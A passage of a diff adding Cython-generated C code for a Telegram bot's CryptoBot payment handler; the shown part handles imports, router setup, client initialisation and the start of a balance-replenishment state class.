__pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Router, __pyx_t_2) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_types, __pyx_t_2) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":5 + * from aiocryptopay import AioCryptoPay, Networks + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_FSMContext); + __Pyx_GIVEREF(__pyx_n_s_FSMContext); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_FSMContext)) __PYX_ERR(0, 5, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_fsm_context, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_FSMContext); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_FSMContext, __pyx_t_3) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":6 + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup # <<<<<<<<<<<<<< + * from aiogram.types import InlineKeyboardButton + * from aiogram.utils.keyboard import InlineKeyboardBuilder + */ + __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_State); + __Pyx_GIVEREF(__pyx_n_s_State); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_State)) __PYX_ERR(0, 6, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_StatesGroup); + __Pyx_GIVEREF(__pyx_n_s_StatesGroup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_StatesGroup)) __PYX_ERR(0, 6, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_fsm_state, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_State); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_State, __pyx_t_2) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_StatesGroup, __pyx_t_2) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":7 + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton # <<<<<<<<<<<<<< + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardButton); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_InlineKeyboardButton)) __PYX_ERR(0, 7, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_types, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardButton, __pyx_t_3) < 0) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":8 + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton + * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< + * from aiohttp import web + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardBuilder); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_InlineKeyboardBuilder)) __PYX_ERR(0, 8, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_utils_keyboard, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardBuilder, __pyx_t_2) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":9 + * from aiogram.types import InlineKeyboardButton + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web # <<<<<<<<<<<<<< + * + * from config import CRYPTO_BOT_ENABLE, CRYPTO_BOT_TOKEN, RUB_TO_USDT + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_web); + __Pyx_GIVEREF(__pyx_n_s_web); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_web)) __PYX_ERR(0, 9, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiohttp, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_web); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_web, __pyx_t_3) < 0) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":11 + * from aiohttp import web + * + * from config import CRYPTO_BOT_ENABLE, CRYPTO_BOT_TOKEN, RUB_TO_USDT # <<<<<<<<<<<<<< + * from database import ( + * add_connection, + */ + __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_CRYPTO_BOT_ENABLE); + __Pyx_GIVEREF(__pyx_n_s_CRYPTO_BOT_ENABLE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_CRYPTO_BOT_ENABLE)) __PYX_ERR(0, 11, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_CRYPTO_BOT_TOKEN); + __Pyx_GIVEREF(__pyx_n_s_CRYPTO_BOT_TOKEN); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_CRYPTO_BOT_TOKEN)) __PYX_ERR(0, 11, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_RUB_TO_USDT); + __Pyx_GIVEREF(__pyx_n_s_RUB_TO_USDT); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_RUB_TO_USDT)) __PYX_ERR(0, 11, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_config, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_CRYPTO_BOT_ENABLE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_CRYPTO_BOT_ENABLE, __pyx_t_2) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_CRYPTO_BOT_TOKEN); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_CRYPTO_BOT_TOKEN, __pyx_t_2) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_RUB_TO_USDT, __pyx_t_2) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":13 + * from config import CRYPTO_BOT_ENABLE, CRYPTO_BOT_TOKEN, RUB_TO_USDT + * from database import ( + * add_connection, # <<<<<<<<<<<<<< + * add_payment, + * check_connection_exists, + */ + __pyx_t_3 = PyList_New(5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_add_connection); + __Pyx_GIVEREF(__pyx_n_s_add_connection); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_add_connection)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_add_payment); + __Pyx_GIVEREF(__pyx_n_s_add_payment); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_add_payment)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_check_connection_exists); + __Pyx_GIVEREF(__pyx_n_s_check_connection_exists); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_check_connection_exists)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_get_key_count); + __Pyx_GIVEREF(__pyx_n_s_get_key_count); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 3, __pyx_n_s_get_key_count)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_update_balance); + __Pyx_GIVEREF(__pyx_n_s_update_balance); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 4, __pyx_n_s_update_balance)) __PYX_ERR(0, 13, __pyx_L1_error); + + /* "handlers/payments/cryprobot_pay.py":12 + * + * from config import CRYPTO_BOT_ENABLE, CRYPTO_BOT_TOKEN, RUB_TO_USDT + * from database import ( # <<<<<<<<<<<<<< + * add_connection, + * add_payment, + */ + __pyx_t_2 = __Pyx_Import(__pyx_n_s_database, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_connection, __pyx_t_3) < 0) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_payment, __pyx_t_3) < 0) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_connection_exists, __pyx_t_3) < 0) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_key_count, __pyx_t_3) < 0) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_update_balance, __pyx_t_3) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":19 + * update_balance, + * ) + * from handlers.payments.gift import PROJECTMANECONGIGURE # <<<<<<<<<<<<<< + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_PROJECTMANECONGIGURE); + __Pyx_GIVEREF(__pyx_n_s_PROJECTMANECONGIGURE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_PROJECTMANECONGIGURE)) __PYX_ERR(0, 19, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_payments_gift, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PROJECTMANECONGIGURE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PROJECTMANECONGIGURE, __pyx_t_2) < 0) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":20 + * ) + * from handlers.payments.gift import PROJECTMANECONGIGURE + * from handlers.payments.utils import send_payment_success_notification # <<<<<<<<<<<<<< + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_send_payment_success_notificatio); + __Pyx_GIVEREF(__pyx_n_s_send_payment_success_notificatio); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_send_payment_success_notificatio)) __PYX_ERR(0, 20, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_payments_utils, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_3) < 0) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":21 + * from handlers.payments.gift import PROJECTMANECONGIGURE + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS # <<<<<<<<<<<<<< + * from logger import logger + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); + __Pyx_GIVEREF(__pyx_n_s_PAYMENT_OPTIONS); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_PAYMENT_OPTIONS)) __PYX_ERR(0, 21, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAYMENT_OPTIONS, __pyx_t_2) < 0) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":22 + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger # <<<<<<<<<<<<<< + * + * router = Router() + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_logger); + __Pyx_GIVEREF(__pyx_n_s_logger); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_logger)) __PYX_ERR(0, 22, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_3) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":24 + * from logger import logger + * + * router = Router() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_3) < 0) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":27 + * + * + * if CRYPTO_BOT_ENABLE: # <<<<<<<<<<<<<< + * crypto = AioCryptoPay(token=CRYPTO_BOT_TOKEN, network=Networks.MAIN_NET) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_CRYPTO_BOT_ENABLE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 27, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__pyx_t_4) { + + /* "handlers/payments/cryprobot_pay.py":28 + * + * if CRYPTO_BOT_ENABLE: + * crypto = AioCryptoPay(token=CRYPTO_BOT_TOKEN, network=Networks.MAIN_NET) # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_AioCryptoPay); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_CRYPTO_BOT_TOKEN); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_token, __pyx_t_5) < 0) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_Networks); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_MAIN_NET); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_network, __pyx_t_6) < 0) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_crypto_2, __pyx_t_6) < 0) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/cryprobot_pay.py":27 + * + * + * if CRYPTO_BOT_ENABLE: # <<<<<<<<<<<<<< + * crypto = AioCryptoPay(token=CRYPTO_BOT_TOKEN, network=Networks.MAIN_NET) + * + */ + } + + /* "handlers/payments/cryprobot_pay.py":32 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_crypto = State() + * waiting_for_payment_confirmation_crypto = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_6); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_6)) __PYX_ERR(0, 32, __pyx_L1_error); + __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PEP560_update_bases(__pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = __Pyx_CalculateMetaclass(NULL, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_Py3MetaclassPrepare(__pyx_t_3, __pyx_t_6, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_cryprobot_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (__pyx_t_6 != __pyx_t_2) { + if (unlikely((PyDict_SetItemString(__pyx_t_5, "__orig_bases__", __pyx_t_2) < 0))) __PYX_ERR(0, 32, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":33 + * + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_crypto = State() # <<<<<<<<<<<<<< + * waiting_for_payment_confirmation_crypto = State() + * entering_custom_amount_crypto = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + 